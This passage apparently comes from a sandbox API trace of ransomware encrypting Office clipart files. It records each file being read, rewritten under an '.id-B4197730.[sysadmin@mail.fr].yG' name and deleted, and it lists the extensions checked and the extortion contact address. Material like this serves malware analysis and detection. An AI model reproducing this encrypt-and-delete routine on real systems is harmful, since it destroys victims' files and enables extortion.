	[0053.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.292] lstrlenW (lpString=".dbf") returned 4
	[0053.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.292] lstrlenW (lpString=".1cd") returned 4
	[0053.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.292] lstrlenW (lpString=".jpg") returned 4
	[0053.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.292] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.292] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.293] GetLastError () returned 0x0
	[0053.293] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x6906, lpOverlapped=0x0) returned 1
	[0053.311] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6910, lpOverlapped=0x0) returned 1
	[0053.312] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.312] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.312] SetEndOfFile (hFile=0x398) returned 1
	[0053.313] CloseHandle (hObject=0x398) returned 1
	[0053.314] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.314] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.315] CloseHandle (hObject=0x2ec) returned 1
	[0053.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1
	[0053.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.316] lstrlenW (lpString=".doc") returned 4
	[0053.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString=".docx") returned 5
	[0053.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.316] lstrlenW (lpString=".pdf") returned 4
	[0053.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString=".xls") returned 4
	[0053.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.316] lstrlenW (lpString=".xlsx") returned 5
	[0053.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.316] lstrlenW (lpString=".ppt") returned 4
	[0053.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.316] lstrlenW (lpString=".zip") returned 4
	[0053.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.316] lstrlenW (lpString=".rar") returned 4
	[0053.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString=".bz2") returned 4
	[0053.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString=".7z") returned 3
	[0053.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.316] lstrlenW (lpString=".dbf") returned 4
	[0053.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.316] lstrlenW (lpString=".1cd") returned 4
	[0053.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0053.317] lstrlenW (lpString=".jpg") returned 4
	[0053.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.317] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.317] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.317] GetLastError () returned 0x0
	[0053.317] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x7114, lpOverlapped=0x0) returned 1
	[0053.372] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7120, lpOverlapped=0x0) returned 1
	[0053.373] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.373] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.373] SetEndOfFile (hFile=0x398) returned 1
	[0053.374] CloseHandle (hObject=0x398) returned 1
	[0053.375] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.375] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.375] CloseHandle (hObject=0x2ec) returned 1
	[0053.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1
	[0053.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.376] lstrlenW (lpString=".doc") returned 4
	[0053.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.376] lstrlenW (lpString=".docx") returned 5
	[0053.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.376] lstrlenW (lpString=".pdf") returned 4
	[0053.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.376] lstrlenW (lpString=".xls") returned 4
	[0053.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.376] lstrlenW (lpString=".xlsx") returned 5
	[0053.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.376] lstrlenW (lpString=".ppt") returned 4
	[0053.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.377] lstrlenW (lpString=".zip") returned 4
	[0053.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.377] lstrlenW (lpString=".rar") returned 4
	[0053.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.377] lstrlenW (lpString=".bz2") returned 4
	[0053.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.377] lstrlenW (lpString=".7z") returned 3
	[0053.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.377] lstrlenW (lpString=".dbf") returned 4
	[0053.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.377] lstrlenW (lpString=".1cd") returned 4
	[0053.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0053.377] lstrlenW (lpString=".jpg") returned 4
	[0053.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.377] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.377] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.377] GetLastError () returned 0x0
	[0053.378] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x2d74, lpOverlapped=0x0) returned 1
	[0053.482] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0053.483] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.483] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.483] SetEndOfFile (hFile=0x398) returned 1
	[0053.484] CloseHandle (hObject=0x398) returned 1
	[0053.484] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.485] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.485] CloseHandle (hObject=0x2ec) returned 1
	[0053.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1
	[0053.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.486] lstrlenW (lpString=".doc") returned 4
	[0053.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.486] lstrlenW (lpString=".docx") returned 5
	[0053.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.486] lstrlenW (lpString=".pdf") returned 4
	[0053.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.486] lstrlenW (lpString=".xls") returned 4
	[0053.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.486] lstrlenW (lpString=".xlsx") returned 5
	[0053.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.486] lstrlenW (lpString=".ppt") returned 4
	[0053.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.486] lstrlenW (lpString=".zip") returned 4
	[0053.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.487] lstrlenW (lpString=".rar") returned 4
	[0053.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.487] lstrlenW (lpString=".bz2") returned 4
	[0053.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.487] lstrlenW (lpString=".7z") returned 3
	[0053.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.487] lstrlenW (lpString=".dbf") returned 4
	[0053.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.487] lstrlenW (lpString=".1cd") returned 4
	[0053.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0053.487] lstrlenW (lpString=".jpg") returned 4
	[0053.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.487] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.487] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.488] GetLastError () returned 0x0
	[0053.488] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x57f4, lpOverlapped=0x0) returned 1
	[0053.498] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5800, lpOverlapped=0x0) returned 1
	[0053.499] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.499] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.499] SetEndOfFile (hFile=0x398) returned 1
	[0053.499] CloseHandle (hObject=0x398) returned 1
	[0053.500] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.500] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.501] CloseHandle (hObject=0x2ec) returned 1
	[0053.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.502] lstrlenW (lpString=".doc") returned 4
	[0053.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString=".docx") returned 5
	[0053.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.502] lstrlenW (lpString=".pdf") returned 4
	[0053.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString=".xls") returned 4
	[0053.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.502] lstrlenW (lpString=".xlsx") returned 5
	[0053.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.502] lstrlenW (lpString=".ppt") returned 4
	[0053.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.502] lstrlenW (lpString=".zip") returned 4
	[0053.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.502] lstrlenW (lpString=".rar") returned 4
	[0053.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString=".bz2") returned 4
	[0053.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString=".7z") returned 3
	[0053.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.502] lstrlenW (lpString=".dbf") returned 4
	[0053.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.502] lstrlenW (lpString=".1cd") returned 4
	[0053.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0053.503] lstrlenW (lpString=".jpg") returned 4
	[0053.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.503] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.503] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.503] GetLastError () returned 0x0
	[0053.503] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x3f34, lpOverlapped=0x0) returned 1
	[0053.516] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3f40, lpOverlapped=0x0) returned 1
	[0053.517] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.518] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.518] SetEndOfFile (hFile=0x398) returned 1
	[0053.518] CloseHandle (hObject=0x398) returned 1
	[0053.519] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.519] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.520] CloseHandle (hObject=0x2ec) returned 1
	[0053.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1
	[0053.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.520] lstrlenW (lpString=".doc") returned 4
	[0053.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.520] lstrlenW (lpString=".docx") returned 5
	[0053.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.520] lstrlenW (lpString=".pdf") returned 4
	[0053.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.520] lstrlenW (lpString=".xls") returned 4
	[0053.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.520] lstrlenW (lpString=".xlsx") returned 5
	[0053.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.520] lstrlenW (lpString=".ppt") returned 4
	[0053.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.520] lstrlenW (lpString=".zip") returned 4
	[0053.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.521] lstrlenW (lpString=".rar") returned 4
	[0053.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.521] lstrlenW (lpString=".bz2") returned 4
	[0053.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.521] lstrlenW (lpString=".7z") returned 3
	[0053.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.521] lstrlenW (lpString=".dbf") returned 4
	[0053.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.521] lstrlenW (lpString=".1cd") returned 4
	[0053.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0053.521] lstrlenW (lpString=".jpg") returned 4
	[0053.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.531] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.532] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
